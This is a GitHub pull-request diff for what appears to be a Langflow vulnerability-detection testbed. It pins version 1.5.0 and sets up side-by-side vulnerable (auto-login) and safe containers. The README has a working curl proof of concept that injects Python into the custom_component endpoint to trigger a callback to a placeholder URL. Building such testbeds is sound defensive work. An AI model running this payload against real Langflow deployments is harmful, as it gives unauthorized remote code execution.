Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
12 changes: 5 additions & 7 deletions langflow/exposedui/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -3,16 +3,14 @@
Langflow is a tool for building and deploying AI-powered agents and workflows.
This testbed demonstrates exposed and non-exposed configurations of langflow UI.

## Safe setup
**Note as of June 26th, 2026:**

```shell
LANGFLOW_AUTO_LOGIN=false docker compose up -d
```
Langflow's authentication has changed over time, and in later versions like 1.6.0, the LANGFLOW_AUTO_LOGIN variable is not sufficient to allow the RCE proof of concept. For this reason, the version is pinned to 1.5.0 for this testbed.

## Vulnerable setup
## Setup

```shell
LANGFLOW_AUTO_LOGIN=true docker compose up -d
docker compose up
```

## Reproduction Steps
Expand All @@ -23,7 +21,7 @@ Issue the following curl command to get a pingback from the docker compose.
curl --path-as-is -i -s -k -X $'POST' \
-H $'Content-Type: application/json' \
--data-binary $'{\"code\":\"import requests\\n\\nfrom langflow.custom import Component\\n\\nclass TsunamiComponent(Component):\\n def __init__(self, *args, **kwargs):\\n super().__init__(*args, **kwargs)\\n requests.get(\\\"https://<YOUR CALLBACK URL>\\\", timeout=5)\\n\\n\"}' \
$'http://127.0.0.1:7860/api/v1/custom_component'
$'http://127.0.0.1:8081/api/v1/custom_component'
```

- Safe instances will return `403 FORBIDDEN`
Expand Down
40 changes: 30 additions & 10 deletions langflow/exposedui/docker-compose.yml
Original file line number Diff line number Diff line change
@@ -1,23 +1,43 @@
services:
langflow:
image: langflowai/langflow:latest
langflow-vuln:
image: langflowai/langflow:1.5.0
ports:
- "7860:7860"
- "8081:7860"
depends_on:
- postgres
- postgres-vuln
environment:
- LANGFLOW_DATABASE_URL=postgresql://langflow:langflow@postgres:5432/langflow
- LANGFLOW_AUTO_LOGIN
- LANGFLOW_DATABASE_URL=postgresql://langflow:langflow@postgres-vuln:5432/langflow
- LANGFLOW_AUTO_LOGIN=True
networks:
- langflow
postgres:
- langflow-vuln
postgres-vuln:
image: postgres:16
environment:
POSTGRES_USER: langflow
POSTGRES_PASSWORD: langflow
POSTGRES_DB: langflow
networks:
- langflow
- langflow-vuln
langflow-safe:
image: langflowai/langflow:1.5.0
ports:
- "8082:7860"
depends_on:
- postgres-safe
environment:
- LANGFLOW_DATABASE_URL=postgresql://langflow:langflow@postgres-safe:5432/langflow
- LANGFLOW_AUTO_LOGIN=False
networks:
- langflow-safe
postgres-safe:
image: postgres:16
environment:
POSTGRES_USER: langflow
POSTGRES_PASSWORD: langflow
POSTGRES_DB: langflow
networks:
- langflow-safe

networks:
langflow:
langflow-vuln:
langflow-safe: